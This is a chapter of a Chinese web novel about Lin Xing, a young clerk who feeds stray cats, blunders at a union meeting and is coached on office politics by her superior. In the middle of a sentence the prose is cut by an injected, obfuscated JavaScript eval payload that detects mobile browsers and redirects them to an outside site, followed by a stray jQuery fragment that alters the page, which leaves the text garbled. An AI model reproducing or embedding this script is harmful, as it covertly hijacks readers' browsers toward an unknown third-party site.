11. 只能拔足狂奔
    林星猫毛过敏这件事,没多少人知道。

    毕竟午休的时候,她做得最多的事情,除了找机会接近祁洛,就是蹲在楼下喂猫。

    ——她来入职后不久,就跟单位食堂的大爷大妈打好了关系,他们每次都会把员工吃剩的鱼头、饭菜留给她。

    她长相甜美,又逢人就笑,脾气好得跟没脾气似的,不出半个月,就成了中老年团体争相拉拢的白月光,不但每次剩饭拿到手软,甚至连她自己吃饭都会得到优待:

    要么是米饭上浇上好大一勺带着软糯糯东坡肉的肉汤,肥美鲜香,要么是每人五块的糖醋小排,她一次能拿到七八块,堆得快要溢出餐盘。

    就连餐后甜点都是双份——打饭大妈有志一同,都认为她太瘦了,要大补特补。

    大爷大妈才不管什么流言蜚语,他们认识祁洛,知道他光是脸就能迷倒多少小姑娘,要不是太高冷,家世也太高,他们自己都恨不得给他介绍对象了。

    林星一个涉世未深的小姑娘喜欢他,爱追着他跑,实在是一件正常到不值一提的事情。

    啊,年轻真好。

    到后来,一些大妈看不过去她一次次受挫,甚至隐晦地旁敲侧击:

    “我这侄子现在正在军校上学呢……可孝顺,你看看他照片,他昨晚还给我买了箱车厘子寄过来——姑娘你吃不吃车厘子?”

    “来帮我看看这说明书上写着啥?字太小了我看不清——说起来你今年多大岁数啦?”

    “我有个孙子今年刚进政府单位,就在对面写字楼,一米八,不抽烟不喝酒,你俩都是年轻人肯定有得聊,要不加个联系方式?”

    林星感激他们的好意,礼尚往来,一一回报,遇到关键问题时,则抿唇轻笑:

    “谢谢阿姨,车厘子我吃一两颗解解馋就够啦。这是您侄子给您的心意,可别浪费了。”

    “我今年二十多一点,爷爷,您说明书拿倒啦。”

    “不用啦,我跟他不熟,聊起来怪尴尬的。您最近腿还疼吗?我给您揉揉?”

    她说话得体,句尾不自觉总带着轻飘飘的语气词,活泼明快,叫人就算是被拒绝,心里也是畅快的。

    因此,她从食堂拿剩饭剩菜的做法,被整个食堂瞒得密不透风。

    每次午休,她捧着装满剩饭剩菜的红色小桶出现的时候,不管附近多么怕生的流浪猫,都会围拢过来。

    猫群弱肉强食,凶悍的大猫总是第一个围上来抢食。

    体弱的小猫在不远处喵喵叫。

    大猫弓起背,龇牙咧嘴,凶悍无比,转头面向林星时,又垫着脚翘着尾,露出谄媚模样,要来蹭她裤腿,她只好连连退避。

    进食时,她用脚尖轻轻一拨大猫,但人家把头埋在食盆里唏哩呼噜地干饭,身子像是记忆软合金,不管被拨到哪个角度,最后总会蹭回来。

    她只好把饭菜倒一半,留一半,等大猫吃饱了,就悄悄招呼小猫过来,把剩下的一半倒给它们,端水端得相当公正。

    这种行为一直持续了一个月。

    直到某天,每月一度的“第一军区工会生活委员内部会议”召开。

    这本不是什么重要的会议,每个部门随便打发一个很闲的倒霉蛋去参加即可,会上也只用附和,是一件再无聊不过的差事。

    所谓生活委员,更是个流动的虚衔。

    这事本来落不到林星一个新人头上。

    可她刚来一个月,根基不稳,大多数同事又瞧不上她。

    没人愿意去开那冗长又注水的会议浪费生命,推来推去,终究把生活委员的帽子扣在了她懵懂的小脑袋瓜上。

    她走之前还有些期待,双眸亮晶晶的:

    “生活委员吗?是要为改善大家的职场生活环境做努力吗?”

    推她去的同事敷衍道:

    “是是是。我们的生活质量就靠你了。”

    林星满怀壮志地离开,又心情颇佳地回来了。

    而同事们已经投入到自己的工作中去,压根没人在意她去开会这件事。

    直到十分钟后。

    战后清点部的部长艾玛接到了一个通话。

    她挂了电话,嘴角噙了丝不冷不热的笑,当众道:

    “林星,你过来。”

    林星不知大祸临头,还笑着凑上去:

    “怎么啦?”

    她来了一个多月,做的工作全是繁琐累人的重复劳动,跟艾玛提过几次她能做更有技术含量的工作,却总是碰软钉子,被人不冷不热地拒绝。

    这是领导第一次主动叫她!

    艾玛靠坐在椅背上,将她上下打量一番,才道:

    “刚才开会的时候,你说了什么,做了什么,统统给我复述一遍。”

    林星看到她隐含怒意的表情,知道大事不好,但她尚且毫无头绪,只好低着头,将能记起来的细节都说了。

    其实也没有什么。

    会议主持——后勤部的部长马修说了很多,她开口说话的机会却不多。

    只有当马修提到“听说最近食堂的饭菜价格涨了一星币,有这回事吗?”,她才跟在众人身后附和了一句。

    毕竟,如果不是食堂大爷大妈的热情,她可能就因为这涨价的一星币,再也吃不上肉了。

    工资没有涨,菜价涨了,这合理吗!?

    艾玛听到她交代这一段时,终于露出了然的冷笑:

    “行了。我知道为什么马修那个蠢货要来跟我告你的状了。”

    林星更加茫然。

    她不知道啊!

    同事听到事情经过后,有的已经露出了恍然大悟的神情,有的则跟林星一样茫然——后者占比很少。

    能考进来的,人情世故多多少少都达标,只有林星,像只误入名利场的蛾子,茫然地在网兜之中扑腾。

    艾玛简短利落地概括道:

    “你认为食堂的饭菜涨价,是那些员工自作主张涨的吗?”

    “不是……”

    林星暗想,那些大爷大妈可没有定价的本事。

    “那你觉得,那涨的一星币,最后落到了谁的口袋里?”

    “……”林星倒吸一口冷气,这才恍然大悟,“那,那他为什么要提这件事?”

    “因为有人反映,就需要解决。当所有人都投票同意涨价时,那一星币的涨价,就会过了明路,顺理成章地掉进某些人的口袋。不要小看了这一星币,这整栋大楼有多少员工?每人一星币,加起来是多少钱?不妨算一算。”

    蓝星政府并非清正廉明的铁板一块,相反,千百年的发展,加上战后的混乱,已经让这个巨大的国家机器生出盘根错节的根系。

    这些根系缠绕在每一个齿轮里,拖慢着机器的运转。

    没有人能独善其身。

    林星有些委屈:“不是我一个人……还有其他人也说了的,我只是附和。”

    “发声的都有谁?”

    林星想了想,报了几个名字。

    她记忆力很好,参会的人在开始前做了敷衍的自我介绍,她记住了其中七八成的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055826|149205||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    面孔和名字。

    这下,艾玛倒是有些意外,咳了咳,继续道:

    “这里面的人,有的已经在这里工作了十几年,有足够的底气和对方的把柄,有的是其他部长的亲信,有的是首都有名的世家子,来历练的——只有你,林星,只有你,什么都不是,就算附和,也是过错。他不找你开刀找谁?”

    这话说得难听,但确实是事实。

    艾玛觉得自己这句话说得有些过,于是补充道:

    “我已经把那个蠢货骂回去了,以后的会议,你不要参加了。”

    有不让她再惹祸的意思在,但也有那么一点保护的意味。

    二者界限太过模糊,咂摸不出其中占比。

    她本以为林星会消沉好一阵子,或者难过得哭出来,甚至是生些怨怼。

    没想到,对方抬起头来,却是一张明媚鲜活的笑脸:

    “艾玛姐,谢谢你告诉我这些。过去从来没有人跟我这么细致地跟我分析这些东西,我也就从来没有想过。谢谢你,还有,对不起,我以后会努力不给你添麻烦的。”

    她话还没有说完,不等艾玛反应,接着道:

    “你是妈妈和祁洛之外,对我第三好的人。”

    从前,祁洛不会对她讲这些,但会把她保护得很好。

    有些傲慢,但她不讨厌。

    艾玛怔然。

    感觉心脏被她的笑容击中。

    贫民窟长大的小孩,确实没有人会给他们把这些人情世故掰开了揉碎了讲。

    可能他们的父母——如果有的话,自己也活得糊涂。

    林星野蛮生长到现在,甚至考入战后清点部,已经很了不起了。

    不是人人都是荷花,能从淤泥里干干净净地冒出来,叫人看见。

    大多数人,会变成那烂在泥塘里的枯叶。

    艾玛想起了自己的女儿,比林星貌美,比林星有才华,毫无疑问,非常优秀耀眼。

    但倘若易地而处,她也不确定,女儿能不能从贫民窟挣扎出头——那孩子的美貌和才华,是因为有人替她铺好了路,她只要顺着走下去,不用费太多心力,自然而然就能成为最好的样子。

    可林星不是。

    她在野蛮生长的高草丛里狂奔,在茫茫无涯的黑夜里头破血流地摸索,被丛生的荆棘一遍遍刺破双足。

    没有人告诉她路在哪里,她也看不到方向。

    艾玛的女儿可以慢慢走。

    林星只能拔足狂奔。

    所以,有些落在她身上的苛责,实在是没有道理。

    艾玛扯了扯嘴角,面对林星真情实意的感激,不咸不淡道:

    “行了,回去吧。”

    面上不显,看林星的眼神,却完全变了。

    林星飘飘然回到座位,心里虽然还是有些失落,但心脏的大部分已经被暖烘烘地填满了。

    隔壁桌的同事冷嗤一声:

    “祁洛对你好?你还在梦里?”

    林星很认真地转过脸去,看着他:

    “他对我的好,我自己知道就行。”

    神情认真得过了头,女孩眼中情感炽热,竟叫人一时间心慌意乱。

    同事噎了一下,扭过头去,不理她了。

    恋爱脑,僵尸都不吃。

    所有人都以为这件事告一段落。

    谁知不久后,有一条流言悄悄在部门间流传开来。

    “听说了吗?战后清点部里,那个贫民窟出来的,手脚不干净,从厨房偷剩饭剩菜回家吃。”